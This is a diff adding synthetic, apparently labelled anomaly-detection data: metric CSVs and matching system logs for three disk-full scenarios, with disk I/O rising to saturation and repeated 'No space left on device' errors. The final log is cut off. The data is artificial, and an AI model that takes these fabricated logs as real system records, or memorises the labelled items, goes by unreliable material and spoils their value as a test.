a/anom_dataset/scenario_3/anom_3_7.csv b/anom_dataset/scenario_3/anom_3_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..53c8fd53515179b442f781e19bab6464e544011d --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,21.49,40.49,26.56,0.93,1.63 +2025-07-02T11:00:05Z,19.59,44.84,29.6,0.63,0.77 +2025-07-02T11:00:10Z,21.94,36.49,24.67,0.59,1.55 +2025-07-02T11:00:15Z,24.57,38.36,26.21,0.9,1.2 +2025-07-02T11:00:20Z,19.3,38.04,27.07,0.76,0.91 +2025-07-02T11:00:25Z,19.3,32.68,23.8,0.94,1.34 +2025-07-02T11:00:30Z,24.74,41.48,25.67,0.89,1.26 +2025-07-02T11:00:35Z,22.3,41.31,25.04,0.79,1.02 +2025-07-02T11:00:40Z,18.59,40.03,25.29,0.63,1.22 +2025-07-02T11:00:45Z,21.63,38.83,22.68,0.5,1.08 +2025-07-02T11:00:50Z,18.61,32.92,25.07,0.71,1.23 +2025-07-02T11:00:55Z,18.6,37.9,26.49,0.97,1.4 +2025-07-02T11:01:00Z,20.73,38.29,29.35,0.84,1.68 +2025-07-02T11:01:05Z,14.26,35.99,27.88,0.55,0.83 +2025-07-02T11:01:10Z,14.83,39.19,31.46,0.83,1.84 +2025-07-02T11:01:15Z,18.31,42.02,22.7,0.88,0.61 +2025-07-02T11:01:20Z,16.96,49.43,27.62,0.62,1.15 +2025-07-02T11:01:25Z,20.94,40.87,25.55,0.83,1.38 +2025-07-02T11:01:30Z,17.28,41.29,31.57,0.81,1.28 +2025-07-02T11:01:35Z,15.76,39.63,22.58,0.57,1.01 +2025-07-02T11:01:40Z,24.4,30.41,22.48,0.87,1.14 +2025-07-02T11:01:45Z,19.32,39.87,23.2,0.91,1.05 +2025-07-02T11:01:50Z,20.2,40.3,18.63,1.02,1.02 +2025-07-02T11:01:55Z,15.73,52.32,23.42,1.01,1.45 +2025-07-02T11:02:00Z,18.37,39.04,22.72,0.52,1.31 +2025-07-02T11:02:05Z,20.33,41.51,25.45,0.61,0.99 +2025-07-02T11:02:10Z,16.55,39.83,26.03,0.9,1.47 +2025-07-02T11:02:15Z,21.13,34.16,30.63,0.9,1.29 +2025-07-02T11:02:20Z,18.2,45.71,27.85,0.9,1.44 +2025-07-02T11:02:25Z,19.12,43.76,23.27,1.57,1.39 +2025-07-02T11:02:30Z,18.19,43.96,27.82,0.91,0.95 +2025-07-02T11:02:35Z,25.56,35.45,30.15,1.03,1.03 +2025-07-02T11:02:40Z,19.96,47.01,30.87,0.99,1.42 +2025-07-02T11:02:45Z,16.83,32.99,34.08,0.93,1.38 +2025-07-02T11:02:50Z,22.47,42.93,35.38,0.74,1.19 +2025-07-02T11:02:55Z,16.34,50.95,36.19,0.95,1.24 +2025-07-02T11:03:00Z,20.63,35.05,37.19,0.65,1.58 +2025-07-02T11:03:05Z,14.12,37.17,40.36,0.75,1.02 +2025-07-02T11:03:10Z,16.02,40.5,41.25,0.7,1.36 +2025-07-02T11:03:15Z,20.59,37.48,43.56,0.82,1.14 +2025-07-02T11:03:20Z,22.22,32.25,43.77,1.26,1.13 +2025-07-02T11:03:25Z,20.51,40.34,45.9,0.43,1.53 +2025-07-02T11:03:30Z,19.65,34.69,47.83,0.94,1.45 +2025-07-02T11:03:35Z,19.1,42.37,49.49,0.48,1.44 +2025-07-02T11:03:40Z,15.56,35.4,50.87,0.71,1.59 +2025-07-02T11:03:45Z,17.84,47.75,53.03,1.02,1.21 +2025-07-02T11:03:50Z,18.62,36.08,53.82,0.81,1.4 +2025-07-02T11:03:55Z,23.17,38.39,55.91,0.58,1.11 +2025-07-02T11:04:00Z,21.03,44.07,57.67,0.66,1.3 +2025-07-02T11:04:05Z,14.71,33.85,59.5,0.94,1.16 +2025-07-02T11:04:10Z,20.97,41.14,61.23,0.65,1.23 +2025-07-02T11:04:15Z,18.84,46.54,61.94,0.84,1.38 +2025-07-02T11:04:20Z,17.97,31.96,63.37,0.81,0.95 +2025-07-02T11:04:25Z,21.84,40.92,66.4,0.67,1.83 +2025-07-02T11:04:30Z,23.09,41.3,67.56,1.23,0.9 +2025-07-02T11:04:35Z,22.79,43.91,68.65,0.93,0.84 +2025-07-02T11:04:40Z,17.48,33.82,71.43,0.39,1.55 +2025-07-02T11:04:45Z,19.07,33.4,72.34,0.84,1.44 +2025-07-02T11:04:50Z,20.99,42.61,74.51,0.67,1.39 +2025-07-02T11:04:55Z,22.93,41.48,75.58,0.97,1.39 +2025-07-02T11:05:00Z,18.56,41.25,78.21,0.64,1.2 +2025-07-02T11:05:05Z,19.44,41.73,79.68,0.78,0.93 +2025-07-02T11:05:10Z,16.68,36.6,80.31,0.9,1.22 +2025-07-02T11:05:15Z,16.41,41.16,82.55,0.97,1.0 +2025-07-02T11:05:20Z,22.44,41.47,84.02,0.56,1.49 +2025-07-02T11:05:25Z,24.07,36.43,86.01,0.73,1.16 +2025-07-02T11:05:30Z,19.78,49.33,86.48,0.71,0.95 +2025-07-02T11:05:35Z,23.01,42.37,88.93,0.67,1.1 +2025-07-02T11:05:40Z,21.08,34.04,90.75,1.15,1.32 +2025-07-02T11:05:45Z,18.06,43.28,98.0,0.88,1.03 +2025-07-02T11:05:50Z,21.08,35.13,92.89,0.55,0.95 +2025-07-02T11:05:55Z,24.61,43.94,94.09,0.98,1.27 +2025-07-02T11:06:00Z,19.89,45.79,96.6,1.22,1.27 +2025-07-02T11:06:05Z,24.69,35.9,98.73,1.01,1.05 +2025-07-02T11:06:10Z,12.14,44.82,100.0,0.5,1.06 +2025-07-02T11:06:15Z,22.47,42.06,100.0,0.7,1.27 +2025-07-02T11:06:20Z,20.26,44.11,100.0,1.05,0.77 +2025-07-02T11:06:25Z,19.1,49.48,100.0,0.66,0.78 +2025-07-02T11:06:30Z,20.28,38.77,99.99,0.89,0.98 +2025-07-02T11:06:35Z,14.04,36.23,100.0,0.95,1.14 +2025-07-02T11:06:40Z,19.34,35.55,100.0,0.61,1.29 +2025-07-02T11:06:45Z,21.07,35.92,100.0,0.79,1.64 +2025-07-02T11:06:50Z,24.43,39.61,100.0,0.15,1.46 +2025-07-02T11:06:55Z,18.45,41.71,100.0,0.6,1.15 +2025-07-02T11:07:00Z,17.57,41.38,100.0,0.75,1.19 +2025-07-02T11:07:05Z,18.49,44.14,100.0,0.55,0.9 +2025-07-02T11:07:10Z,22.75,40.07,100.0,1.13,1.19 +2025-07-02T11:07:15Z,20.99,47.27,99.99,0.51,1.11 +2025-07-02T11:07:20Z,18.41,38.68,99.99,0.71,1.3 +2025-07-02T11:07:25Z,21.54,53.6,99.99,0.83,0.95 diff --git a/anom_dataset/scenario_3/anom_3_7.log b/anom_dataset/scenario_3/anom_3_7.log new file mode 100644 index 0000000000000000000000000000000000000000..bfa8ebc6236e92f20de0669981dc03e507f26aa3 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_7.log @@ -0,0 +1,38 @@ +Jul 02 11:00:02 systemd[1]: Starting clean-up of temporary directories... +Jul 02 11:00:16 db-backup.sh[15231]: Starting database backup to /var/backups/db_daily.sql.gz +Jul 02 11:00:54 nginx[1123]: GET /index.html HTTP/1.1 200 OK +Jul 02 11:02:08 db-backup.sh[15231]: Database backup successful. +Jul 02 11:03:21 kubelet[2345]: INFO: routine sync completed for pod web-app +Jul 02 11:04:37 app-worker[9876]: Processing batch job #1138... +Jul 02 11:05:50 data-importer[18231]: ERROR: Failed to write to temporary file /tmp/data_import.csv: No space left on device +Jul 02 11:06:15 data-importer[18231]: ERROR: Failed to write to temporary file /tmp/data_import.csv: No space left on device +Jul 02 11:06:15 rsyslogd[1011]: action 'action-9-omfile' suspended, reason: error writing to file '/var/log/syslog' [errno 28] +Jul 02 11:06:30 rsyslogd[1011]: action 'action-9-omfile' suspended, reason: error writing to file '/var/log/syslog' [errno 28] +Jul 02 11:06:35 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:06:36 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:06:40 data-importer[18231]: ERROR: Failed to write to temporary file /tmp/data_import.csv: No space left on device +Jul 02 11:06:40 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:06:41 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:06:45 rsyslogd[1011]: action 'action-9-omfile' suspended, reason: error writing to file '/var/log/syslog' [errno 28] +Jul 02 11:06:45 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:06:46 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:06:50 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:06:51 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:06:55 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:06:56 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:07:00 rsyslogd[1011]: action 'action-9-omfile' suspended, reason: error writing to file '/var/log/syslog' [errno 28] +Jul 02 11:07:00 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:07:01 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:07:05 data-importer[18231]: ERROR: Failed to write to temporary file /tmp/data_import.csv: No space left on device +Jul 02 11:07:05 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:07:06 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:07:10 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:07:11 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:07:15 rsyslogd[1011]: action 'action-9-omfile' suspended, reason: error writing to file '/var/log/syslog' [errno 28] +Jul 02 11:07:15 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:07:16 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:07:20 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:07:21 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:07:25 CRON[21352]: (root) CMD ( /usr/local/bin/log_cleanup.sh ) +Jul 02 11:07:26 log_cleanup.sh[21355]: rm: cannot remove '/var/log/archive/old.log': No space left on device +Jul 02 11:07:27 kernel: [11345.678] print_req_error: I/O error, dev sda, sector 123456 diff --git a/anom_dataset/scenario_3/anom_3_8.csv b/anom_dataset/scenario_3/anom_3_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..203c21594d11bdbffe829fc7170d0e376c1d3126 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,19.87,43.03,22.63,0.96,1.39 +2025-07-02T10:00:05Z,10.86,39.4,27.82,0.84,1.0 +2025-07-02T10:00:10Z,18.07,42.83,29.19,0.6,0.74 +2025-07-02T10:00:15Z,16.25,36.24,27.46,0.76,1.1 +2025-07-02T10:00:20Z,15.37,45.24,28.13,0.5,1.0 +2025-07-02T10:00:25Z,18.29,35.44,29.84,0.92,0.82 +2025-07-02T10:00:30Z,14.9,37.59,30.3,1.04,1.37 +2025-07-02T10:00:35Z,15.47,39.63,30.8,0.91,0.83 +2025-07-02T10:00:40Z,16.56,44.43,35.28,0.89,1.26 +2025-07-02T10:00:45Z,16.18,37.33,31.87,0.92,0.81 +2025-07-02T10:00:50Z,15.87,39.73,33.24,0.94,1.19 +2025-07-02T10:00:55Z,11.69,36.6,34.78,0.48,1.08 +2025-07-02T10:01:00Z,15.76,40.81,35.63,0.95,1.43 +2025-07-02T10:01:05Z,13.37,41.48,35.32,0.51,0.63 +2025-07-02T10:01:10Z,12.48,42.2,39.05,0.45,1.39 +2025-07-02T10:01:15Z,17.64,41.76,37.61,0.88,0.96 +2025-07-02T10:01:20Z,13.67,35.43,42.24,0.78,1.85 +2025-07-02T10:01:25Z,17.72,50.0,41.71,0.87,1.46 +2025-07-02T10:01:30Z,14.95,35.97,42.81,1.07,1.33 +2025-07-02T10:01:35Z,12.61,42.15,42.63,0.98,0.91 +2025-07-02T10:01:40Z,15.33,35.26,42.03,0.73,1.2 +2025-07-02T10:01:45Z,14.1,37.06,41.31,1.07,0.74 +2025-07-02T10:01:50Z,16.16,45.37,46.58,0.92,0.96 +2025-07-02T10:01:55Z,16.67,40.69,48.23,1.01,1.07 +2025-07-02T10:02:00Z,13.69,42.7,48.48,0.74,0.9 +2025-07-02T10:02:05Z,18.36,38.27,50.03,0.55,2.0 +2025-07-02T10:02:10Z,12.15,40.05,48.33,0.82,1.23 +2025-07-02T10:02:15Z,17.95,38.99,49.1,0.6,0.83 +2025-07-02T10:02:20Z,15.28,42.11,53.5,1.05,2.0 +2025-07-02T10:02:25Z,15.85,39.54,51.41,0.86,1.18 +2025-07-02T10:02:30Z,16.19,43.03,53.83,0.62,1.18 +2025-07-02T10:02:35Z,13.46,45.11,53.32,0.63,1.14 +2025-07-02T10:02:40Z,12.12,38.26,53.33,0.73,1.4 +2025-07-02T10:02:45Z,18.11,42.32,55.72,0.65,1.19 +2025-07-02T10:02:50Z,14.47,36.51,58.78,0.71,1.11 +2025-07-02T10:02:55Z,15.96,34.77,56.43,0.72,1.4 +2025-07-02T10:03:00Z,13.81,35.79,56.44,0.69,1.16 +2025-07-02T10:03:05Z,18.35,38.39,60.51,0.9,0.88 +2025-07-02T10:03:10Z,19.45,40.98,59.78,0.91,1.11 +2025-07-02T10:03:15Z,15.17,37.32,61.62,0.67,0.83 +2025-07-02T10:03:20Z,13.61,41.73,60.61,1.01,1.54 +2025-07-02T10:03:25Z,16.22,36.52,63.32,0.47,1.52 +2025-07-02T10:03:30Z,14.96,40.05,63.97,0.88,0.93 +2025-07-02T10:03:35Z,16.59,39.8,65.42,0.86,1.44 +2025-07-02T10:03:40Z,14.2,39.48,65.12,1.24,1.72 +2025-07-02T10:03:45Z,18.19,41.7,67.45,0.84,1.11 +2025-07-02T10:03:50Z,16.58,45.64,67.3,0.51,0.96 +2025-07-02T10:03:55Z,12.62,42.09,67.76,0.57,0.73 +2025-07-02T10:04:00Z,13.93,41.19,70.9,1.09,0.97 +2025-07-02T10:04:05Z,14.64,43.09,71.69,0.76,1.13 +2025-07-02T10:04:10Z,15.91,33.75,68.43,0.36,1.13 +2025-07-02T10:04:15Z,14.87,43.84,74.27,0.53,1.21 +2025-07-02T10:04:20Z,12.12,42.3,73.27,0.75,1.36 +2025-07-02T10:04:25Z,16.3,38.32,76.28,0.68,1.28 +2025-07-02T10:04:30Z,15.25,39.21,74.88,0.74,1.35 +2025-07-02T10:04:35Z,15.11,44.34,72.74,0.86,1.44 +2025-07-02T10:04:40Z,14.65,36.02,77.88,0.85,1.06 +2025-07-02T10:04:45Z,14.08,46.1,76.43,0.35,1.32 +2025-07-02T10:04:50Z,16.61,43.7,79.26,0.58,0.81 +2025-07-02T10:04:55Z,14.46,38.74,76.67,0.97,0.89 +2025-07-02T10:05:00Z,17.43,44.14,80.0,0.68,1.18 +2025-07-02T10:05:05Z,12.38,43.66,80.0,1.03,1.43 +2025-07-02T10:05:10Z,12.67,44.33,83.31,0.78,1.5 +2025-07-02T10:05:15Z,14.89,40.47,83.29,0.72,0.9 +2025-07-02T10:05:20Z,16.51,40.21,87.83,0.56,0.77 +2025-07-02T10:05:25Z,16.47,40.53,87.09,0.36,1.14 +2025-07-02T10:05:30Z,17.07,42.24,88.77,0.78,1.35 +2025-07-02T10:05:35Z,12.57,37.26,91.06,0.93,1.32 +2025-07-02T10:05:40Z,12.28,43.9,92.09,0.52,1.55 +2025-07-02T10:05:45Z,14.33,40.71,92.31,1.19,1.04 +2025-07-02T10:05:50Z,16.55,37.91,93.26,1.06,1.45 +2025-07-02T10:05:55Z,15.0,38.74,95.23,0.53,1.53 +2025-07-02T10:06:00Z,12.87,37.73,97.64,0.82,1.33 +2025-07-02T10:06:05Z,12.45,39.22,98.3,0.93,1.11 +2025-07-02T10:06:10Z,18.08,38.4,100.0,0.97,0.73 +2025-07-02T10:06:15Z,16.79,39.48,100.0,1.19,1.23 +2025-07-02T10:06:20Z,13.56,37.41,100.0,0.8,1.17 +2025-07-02T10:06:25Z,13.17,39.5,100.0,0.51,1.59 +2025-07-02T10:06:30Z,13.48,41.35,100.0,0.61,1.14 +2025-07-02T10:06:35Z,13.98,39.25,100.0,1.04,1.51 +2025-07-02T10:06:40Z,14.65,37.88,100.0,1.03,0.72 +2025-07-02T10:06:45Z,16.49,39.53,100.0,0.65,0.8 +2025-07-02T10:06:50Z,16.31,35.87,100.0,0.86,1.36 +2025-07-02T10:06:55Z,15.46,39.11,100.0,1.0,1.41 +2025-07-02T10:07:00Z,11.42,41.83,100.0,0.72,1.42 +2025-07-02T10:07:05Z,14.82,44.41,100.0,0.98,1.09 +2025-07-02T10:07:10Z,15.33,44.79,100.0,0.62,1.06 +2025-07-02T10:07:15Z,15.08,37.93,100.0,0.56,0.67 +2025-07-02T10:07:20Z,14.9,43.77,100.0,0.86,1.75 +2025-07-02T10:07:25Z,14.18,32.69,100.0,0.58,1.33 diff --git a/anom_dataset/scenario_3/anom_3_8.log b/anom_dataset/scenario_3/anom_3_8.log new file mode 100644 index 0000000000000000000000000000000000000000..2ef35db25607b8c3c657d2f498729150a4ebfb1e --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_8.log @@ -0,0 +1,30 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:15 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:25 systemd[1]: Starting Daily apt download activities... +Jul 02 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:40 CRON[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:30 data-importer[15678]: INFO Starting large data import job 'import-jul-02'. +Jul 02 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:10 data-importer[15678]: INFO Imported 500000 records, continuing... +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:25 kernel: EXT4-fs warning (device sda1): ext4_dx_add_entry:2022: Directory index full! +Jul 02 10:05:50 data-importer[15678]: ERROR Failed to write chunk to temporary file: OS error +Jul 02 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:15 data-importer[15678]: ERROR Fatal error during import job: No space left on device +Jul 02 10:06:20 data-importer[15678]: ERROR Fatal error during import job: No space left on device +Jul 02 10:06:25 kubelet[2345]: ERROR failed to write pod logs: No space left on device +Jul 02 10:06:30 kubelet[2345]: ERROR failed to write pod logs: No space left on device +Jul 02 10:06:35 rsyslogd[987]: ERROR action 'action-9-omfile' suspended, retry draining, action is doing no work. [v8.2001.0 try https://www.rsyslog.com/e/2007 ]: No space left on device +Jul 02 10:06:40 kubelet[2345]: ERROR failed to write pod logs: No space left on device +Jul 02 10:06:45 data-importer[15678]: ERROR Fatal error during import job: No space left on device +Jul 02 10:06:50 data-importer[15678]: ERROR Fatal error during import job: No space left on device +Jul 02 10:06:55 data-importer[15678]: ERROR Fatal error during import job: No space left on device +Jul 02 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:00 kubelet[2345]: ERROR failed to write pod logs: No space left on device +Jul 02 10:07:05 rsyslogd[987]: ERROR action 'action-9-omfile' suspended, retry draining, action is doing no work. [v8.2001.0 try https://www.rsyslog.com/e/2007 ]: No space left on device +Jul 02 10:07:10 kubelet[2345]: ERROR failed to write pod logs: No space left on device +Jul 02 10:07:15 kubelet[2345]: ERROR failed to write pod logs: No space left on device +Jul 02 10:07:20 rsyslogd[987]: ERROR action 'action-9-omfile' suspended, retry draining, action is doing no work. [v8.2001.0 try https://www.rsyslog.com/e/2007 ]: No space left on device +Jul 02 10:07:25 data-importer[15678]: ERROR Fatal error during import job: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_9.csv b/anom_dataset/scenario_3/anom_3_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..9020ed3ced7bac1e41501847d11fd5af6969c7b6 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,15.99,40.29,32.6,1.13,1.63 +2025-08-15T14:30:05Z,14.72,42.91,37.66,0.83,0.77 +2025-08-15T14:30:10Z,16.3,37.89,29.46,0.79,1.55 +2025-08-15T14:30:15Z,18.05,39.02,32.01,1.1,1.2 +2025-08-15T14:30:20Z,14.53,38.82,33.45,0.96,0.91 +2025-08-15T14:30:25Z,14.53,35.61,27.99,1.14,1.34 +2025-08-15T14:30:30Z,18.16,40.89,31.12,1.09,1.26 +2025-08-15T14:30:35Z,16.53,40.78,30.06,0.99,1.02 +2025-08-15T14:30:40Z,14.06,40.02,30.49,0.83,1.22 +2025-08-15T14:30:45Z,16.09,39.3,26.13,0.7,1.08 +2025-08-15T14:30:50Z,14.07,35.75,30.12,0.91,1.23 +2025-08-15T14:30:55Z,14.07,38.74,32.49,1.17,1.4 +2025-08-15T14:31:00Z,15.48,38.97,37.26,1.04,1.68 +2025-08-15T14:31:05Z,11.17,37.59,34.8,0.75,0.83 +2025-08-15T14:31:10Z,11.55,39.52,40.77,1.03,1.84 +2025-08-15T14:31:15Z,13.88,41.21,26.16,1.08,0.61 +2025-08-15T14:31:20Z,12.97,45.66,34.36,0.82,1.15 +2025-08-15T14:31:25Z,15.63,40.52,30.92,1.03,1.38 +2025-08-15T14:31:30Z,13.18,40.77,40.95,1.01,1.28 +2025-08-15T14:31:35Z,12.18,39.78,25.96,0.77,1.01 +2025-08-15T14:31:40Z,17.93,34.24,25.8,1.07,1.14 +2025-08-15T14:31:45Z,14.55,39.92,27.0,1.11,1.05 +2025-08-15T14:31:50Z,15.14,40.18,19.38,1.22,1.02 +2025-08-15T14:31:55Z,12.15,47.39,27.37,1.21,1.45 +2025-08-15T14:32:00Z,13.91,39.42,26.2,0.72,1.31 +2025-08-15T14:32:05Z,15.22,40.9,30.75,0.81,0.99 +2025-08-15T14:32:10Z,12.7,39.9,31.71,1.1,1.47 +2025-08-15T14:32:15Z,15.75,36.49,39.38,1.1,1.29 +2025-08-15T14:32:20Z,13.8,43.43,34.75,1.1,1.44 +2025-08-15T14:32:25Z,14.42,42.26,27.12,1.77,1.39 +2025-08-15T14:32:30Z,13.8,42.37,38.65,1.11,0.95 +2025-08-15T14:32:35Z,18.7,37.27,41.94,1.23,1.03 +2025-08-15T14:32:40Z,14.97,44.21,40.43,1.19,1.42 +2025-08-15T14:32:45Z,12.88,35.79,46.36,1.13,1.38 +2025-08-15T14:32:50Z,16.65,41.76,46.59,0.94,1.19 +2025-08-15T14:32:55Z,12.56,46.57,45.32,1.15,1.24 +2025-08-15T14:33:00Z,15.42,37.03,44.65,0.85,1.58 +2025-08-15T14:33:05Z,11.08,38.3,50.46,0.95,1.02 +2025-08-15T14:33:10Z,12.34,40.3,49.46,0.9,1.36 +2025-08-15T14:33:15Z,15.39,38.49,52.69,1.02,1.14 +2025-08-15T14:33:20Z,16.48,35.35,49.65,1.46,1.13 +2025-08-15T14:33:25Z,15.34,40.21,52.35,0.63,1.53 +2025-08-15T14:33:30Z,14.77,36.81,54.46,1.14,1.45 +2025-08-15T14:33:35Z,14.4,41.42,55.72,0.68,1.44 +2025-08-15T14:33:40Z,12.04,37.24,56.18,0.91,1.59 +2025-08-15T14:33:45Z,13.56,44.65,59.0,1.22,1.21 +2025-08-15T14:33:50Z,14.08,37.65,57.66,1.01,1.4 +2025-08-15T14:33:55Z,17.11,39.03,60.26,0.78,1.11 +2025-08-15T14:34:00Z,15.69,42.44,61.85,0.86,1.3 +2025-08-15T14:34:05Z,11.47,36.31,63.65,1.14,1.16 +2025-08-15T14:34:10Z,15.65,40.68,65.15,0.85,1.23 +2025-08-15T14:34:15Z,14.23,43.92,63.6,1.04,1.38 +2025-08-15T14:34:20Z,13.65,35.18,64.19,1.01,0.95 +2025-08-15T14:34:25Z,16.22,40.55,69.61,0.87,1.83 +2025-08-15T14:34:30Z,17.06,40.78,69.4,1.43,0.9 +2025-08-15T14:34:35Z,16.86,42.35,68.98,1.13,0.84 +2025-08-15T14:34:40Z,13.32,36.29,73.63,0.59,1.55 +2025-08-15T14:34:45Z,14.38,36.04,72.68,1.04,1.44 +2025-08-15T14:34:50Z,15.66,41.57,75.48,0.87,1.39 +2025-08-15T14:34:55Z,16.95,40.89,75.02,1.17,1.39 +2025-08-15T14:35:00Z,14.04,40.75,79.21,0.84,1.2 +2025-08-15T14:35:05Z,14.63,41.04,79.96,0.98,0.93 +2025-08-15T14:35:10Z,12.79,37.96,78.16,1.1,1.22 +2025-08-15T14:35:15Z,12.61,40.7,81.19,1.17,1.0 +2025-08-15T14:35:20Z,16.63,40.88,81.91,0.76,1.49 +2025-08-15T14:35:25Z,17.71,37.86,84.2,0.93,1.16 +2025-08-15T14:35:30Z,14.86,45.6,81.9,0.91,0.95 +2025-08-15T14:35:35Z,17.01,41.42,85.58,0.87,1.1 +2025-08-15T14:35:40Z,15.72,36.43,87.34,1.35,1.32 +2025-08-15T14:35:45Z,13.71,41.97,84.32,1.08,1.03 +2025-08-15T14:35:50Z,15.72,37.08,91.77,0.75,0.95 +2025-08-15T14:35:55Z,18.08,42.36,91.28,1.18,1.27 +2025-08-15T14:36:00Z,14.93,43.48,93.1,1.42,1.27 +2025-08-15T14:36:05Z,18.13,37.54,97.76,1.21,1.05 +2025-08-15T14:36:10Z,9.76,42.89,98.93,0.7,1.06 +2025-08-15T14:36:15Z,16.64,41.24,94.29,0.9,1.27 +2025-08-15T14:36:20Z,15.17,42.47,97.83,1.25,0.77 +2025-08-15T14:36:25Z,14.4,45.69,94.52,0.86,0.78 +2025-08-15T14:36:30Z,15.18,39.26,95.24,1.09,0.98 +2025-08-15T14:36:35Z,11.02,37.74,98.92,1.15,1.14 +2025-08-15T14:36:40Z,14.56,37.33,100.0,0.81,1.29 +2025-08-15T14:36:45Z,15.71,37.55,100.0,0.99,1.64 +2025-08-15T14:36:50Z,17.96,39.77,100.0,0.35,1.46 +2025-08-15T14:36:55Z,13.96,41.02,100.0,0.8,1.15 +2025-08-15T14:37:00Z,13.38,40.83,100.0,0.95,1.19 +2025-08-15T14:37:05Z,14.0,42.48,100.0,0.75,0.9 +2025-08-15T14:37:10Z,16.83,40.04,100.0,1.33,1.19 +2025-08-15T14:37:15Z,15.66,44.36,100.0,0.71,1.11 +2025-08-15T14:37:20Z,13.94,39.21,100.0,0.91,1.3 +2025-08-15T14:37:25Z,16.03,48.16,100.0,1.03,0.95 diff --git a/anom_dataset/scenario_3/anom_3_9.log b/anom_dataset/scenario_3/anom_3_9.log new file mode 100644 index 0000000000000000000000000000000000000000..dbb15420e44bfeba7af8f50795d6c5aff27a373f --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_9.log @@ -0,0 +1,35 @@ +Aug 15 14:30:00 CRON[50]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:30:00 systemd[1]: Started Session 10 of user app_user. +Aug 15 14:31:05 systemd[1]: Started Session 23 of user app_user. +Aug 15 14:31:40 CRON[520]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:32:10 systemd[1]: Started Session 36 of user app_user. +Aug 15 14:32:30 mysqld[5432]: INFO: Binlog file size is growing rapidly. +Aug 15 14:32:55 data-processor[12345]: INFO: Processing large data batch id-3500. +Aug 15 14:33:15 systemd[1]: Started Session 49 of user app_user. +Aug 15 14:33:20 CRON[540]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:33:20 mysqld[5432]: INFO: Binlog file size is growing rapidly. +Aug 15 14:33:30 data-processor[12345]: INFO: Processing large data batch id-4200. +Aug 15 14:34:05 data-processor[12345]: INFO: Processing large data batch id-4900. +Aug 15 14:34:10 mysqld[5432]: INFO: Binlog file size is growing rapidly. +Aug 15 14:34:20 systemd[1]: Started Session 62 of user app_user. +Aug 15 14:34:40 data-processor[12345]: INFO: Processing large data batch id-5600. +Aug 15 14:35:00 CRON[560]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:35:00 mysqld[5432]: INFO: Binlog file size is growing rapidly. +Aug 15 14:35:15 data-processor[12345]: INFO: Processing large data batch id-6300. +Aug 15 14:35:25 systemd[1]: Started Session 75 of user app_user. +Aug 15 14:35:50 webapp[8888]: ERROR: [Errno 28] No space left on device while writing session file /tmp/sess_70 +Aug 15 14:36:00 data-processor[12345]: ERROR: Failed to write temporary file: No space left on device +Aug 15 14:36:15 kernel: [1123.45] journal commit I/O error +Aug 15 14:36:15 webapp[8888]: ERROR: [Errno 28] No space left on device while writing session file /tmp/sess_75 +Aug 15 14:36:20 data-processor[12345]: ERROR: Failed to write temporary file: No space left on device +Aug 15 14:36:30 systemd[1]: Started Session 88 of user app_user. +Aug 15 14:36:40 CRON[580]: (root) CMD 